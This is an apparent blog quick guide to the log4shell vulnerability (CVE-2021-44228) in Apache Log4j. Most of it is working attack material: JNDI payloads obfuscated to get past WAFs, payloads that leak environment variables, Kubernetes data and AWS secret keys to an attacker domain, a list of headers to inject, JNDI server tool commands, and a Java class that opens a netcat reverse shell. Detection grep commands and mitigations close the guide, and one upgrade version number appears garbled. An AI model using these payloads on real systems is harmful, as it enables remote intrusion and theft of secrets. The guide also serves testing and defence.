log4shell - Quick Guide
0x00 Introduction
CVE-2021-44228 (a.k.a. log4shell) is a Remote Code Execution vulnerability in the Apache Log4j library, a Java-based logging tool widely used in applications around the world. This vulnerability allows an attacker who can control log messages to execute arbitrary code loaded from attacker-controlled servers — and we anticipate that most apps using the Log4j library will meet this condition.
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. Affected versions are 2.0 <= Apache log4j <= 2.14.1
0x01 How to works
- An attacker inserts the JNDI lookup/payload in a anywhere of request that is likely to be logged. (for instance:
${jndi:ldap://domain.com/j}
) - The payload is passed to log4j for logging.
- Log4j interpolates the string and queries the malicious ldap server.
- The ldap server responds with directory information that contains the malicious java class.
- Java deserializes or download the malicious java class and execute it.
0x02 Simple DNS Log Monitor Services
0x04 Waf Bypass & Data Extraction Payloads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | ${jndi:ldap://domain.com/j} ${jndi:ldap:/domain.com/a} ${jndi:dns:/domain.com} ${jndi:dns://domain.com/j} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j} ${${::-j}ndi:rmi://domain.com/j} ${jndi:rmi://domainldap.com/j} ${${lower:jndi}:${lower:rmi}://domain.com/j} ${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j} ${jndi:${lower:l}${lower:d}a${lower:p}://domain.com} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a} jn${env::-}di: jn${date:}di${date:':'} j${k8s:k5:-ND}i${sd:k5:-:} j${main:\k5:-Nd}i${spring:k5:-:} j${sys:k5:-nD}${lower:i${web:k5:-:}} j${::-nD}i${::-:} j${EnV:K5:-nD}i: j${loWer:Nd}i${uPper::} |
The following payloads can be used for data extraction if you got ping back but it’s non exploitable.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | ${jndi:ldap://${env:user}.domain.com/exp} ${jndi:dns://${hostName}.domain.com/a} ${jndi:dns://${env:COMPUTERNAME}.domain.com/a} ${jndi:dns://${env:USERDOMAIN}.domain.com/a} ${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a} ${jndi:ldap://${ctx:loginId}.domain.com/j} ${jndi:ldap://${map:type}.domain.com/j} ${jndi:ldap://${filename}.domain.com/j} ${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j} ${jndi:ldap://${docker:containerId}.domain.com/j} ${jndi:ldap://${docker:containerName}.domain.com/j} ${jndi:ldap://${docker:imageName}.domain.com/j} ${jndi:ldap://${env:USER}.domain.com/j} ${jndi:ldap://${event:Marker}.domain.com/j} ${jndi:ldap://${mdc:UserId}.domain.com/j} ${jndi:ldap://${java:runtime}.domain.com/j} ${jndi:ldap://${java:vm}.domain.com/j} ${jndi:ldap://${java:os}.domain.com/j} ${jndi:ldap://${jndi:logging/context-name}.domain.com/j} ${jndi:ldap://${hostName}.domain.com/j} ${jndi:ldap://${docker:containerId}.domain.com/j} ${jndi:ldap://${k8s:accountName}.domain.com/j} ${jndi:ldap://${k8s:clusterName}.domain.com/j} ${jndi:ldap://${k8s:containerId}.domain.com/j} ${jndi:ldap://${k8s:containerName}.domain.com/j} ${jndi:ldap://${k8s:host}.domain.com/j} ${jndi:ldap://${k8s:labels.app}.domain.com/j} ${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j} ${jndi:ldap://${k8s:masterUrl}.domain.com/j} ${jndi:ldap://${k8s:namespaceId}.domain.com/j} ${jndi:ldap://${k8s:namespaceName}.domain.com/j} ${jndi:ldap://${k8s:podId}.domain.com/j} ${jndi:ldap://${k8s:podIp}.domain.com/j} ${jndi:ldap://${k8s:podName}.domain.com/j} ${jndi:ldap://${k8s:imageId}.domain.com/j} ${jndi:ldap://${k8s:imageName}.domain.com/j} ${jndi:ldap://${log4j:configLocation}.domain.com/j} ${jndi:ldap://${log4j:configParentLocation}.domain.com/j} ${jndi:ldap://${spring:spring.application.name}.domain.com/j} ${jndi:ldap://${main:myString}.domain.com/j} ${jndi:ldap://${main:0}.domain.com/j} ${jndi:ldap://${main:1}.domain.com/j} ${jndi:ldap://${main:2}.domain.com/j} ${jndi:ldap://${main:3}.domain.com/j} ${jndi:ldap://${main:4}.domain.com/j} ${jndi:ldap://${main:bar}.domain.com/j} ${jndi:ldap://${name}.domain.com/j} ${jndi:ldap://${marker}.domain.com/j} ${jndi:ldap://${marker:name}.domain.com/j} ${jndi:ldap://${spring:profiles.active[0].domain.com/j} ${jndi:ldap://${sys:logPath}.domain.com/j} ${jndi:ldap://${web:rootDir}.domain.com/j} |
Check these headers
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | Accept-Charset Accept-Datetime Accept-Encoding Accept-Language Authorization Cache-Control Cf-Connecting_ip Client-Ip Contact Cookie DNT Forwarded Forwarded-For Forwarded-For-Ip Forwarded-Proto From If-Modified-Since Max-Forwards Origin Originating-Ip Pragma Referer TE True-Client-IP True-Client-Ip Upgrade User-Agent Via Warning X-ATT-DeviceId X-Api-Version X-Att-Deviceid X-CSRFToken X-Client-Ip X-Correlation-ID X-Csrf-Token X-Do-Not-Track X-Foo X-Foo-Bar X-Forward-For X-Forward-Proto X-Forwarded X-Forwarded-By X-Forwarded-For X-Forwarded-For-Original X-Forwarded-Host X-Forwarded-Port X-Forwarded-Proto X-Forwarded-Protocol X-Forwarded-Scheme X-Forwarded-Server X-Forwarded-Ssl X-Forwarder-For X-Frame-Options X-From X-Geoip-Country X-HTTP-Method-Override X-Http-Destinationurl X-Http-Host-Override X-Http-Method X-Http-Method-Override X-Http-Path-Override X-Https X-Htx-Agent X-Hub-Signature X-If-Unmodified-Since X-Imbo-Test-Config X-Insight X-Ip X-Ip-Trail X-Leakix X-Originating-Ip X-ProxyUser-Ip X-Real-Ip X-Remote-Addr X-Remote-Ip X-Request-ID X-Requested-With X-UIDH X-Wap-Profile X-XSRF-TOKEN Authorization: Basic Authorization: Bearer Authorization: Oauth Authorization: Token |
0x03 Exploitation
-
There are a lot diffirent way for exploitation. I will only share two.
-
The following command starts rmiserver,ldap server. It generates jndi links. These links serves java class for performing commands that spesified at C parameter. A is your server-ip that you run ldap&rmi.
java -jar JNDInjection.jar -C "nc 192.168.1.XX 1337 -e /bin/sh" -A "192.168.1.XX"
-
This way is a little dirty. The following command starts a ldap server and forwarding requests to spesified url. Because of this you should start a web server and serve the malicious java class over the server. To do this quicly you can use python http.server module. note that the java class must be compatible/supports target’s jdk version.
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.XX:1337/#Exploit"
python.exe -m http.server 1337
- a simple example of java exploit to linux systems. (compile with javac)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public class Exploit { public Exploit() {} static { try { Runtime.getRuntime().exec("nc 192.168.1.105 1337 -e /bin/sh"); /* other os String[] cmd = {"cmd.exe", "/c", "calc.exe"}; String[] cmd = {"open","/System/Applications/Calculator.app"}; */ }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] args) { Exploit e = new Exploit(); } }
-
0x05 Detection
-
a bash command for quick detection log4shell attempts. It’s involves some waf bypass payloads too. It’s matched all payload that shared by sans in here.
1
find / -name "*.log" -exec grep "\${jndi:ldap\|\${\${::-j}\|\${jndi:rmi\|\${\${lower:jndi}\|\${\${lower\:j}\${lower:n}\|\${\${lower:j}\${upper:n}\|\${\${lower:\${lower:jndi}}:" {} -n -H --color \;
-
a bash command for quick detection log4shell attempts in compressed files.
1
sudo find / -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
0x06 Test it in your vm:
Vulnerable App: log4shell-vuln-app
0x07 burp-extansions
0x08 Mitigations
- upgrade to log4j-2.1.50.rc2. or
- in previous releases (>2.10) this behavior can be mitigated by setting system property
log4j2.formatMsgNoLookups=true
or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath. (example:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
)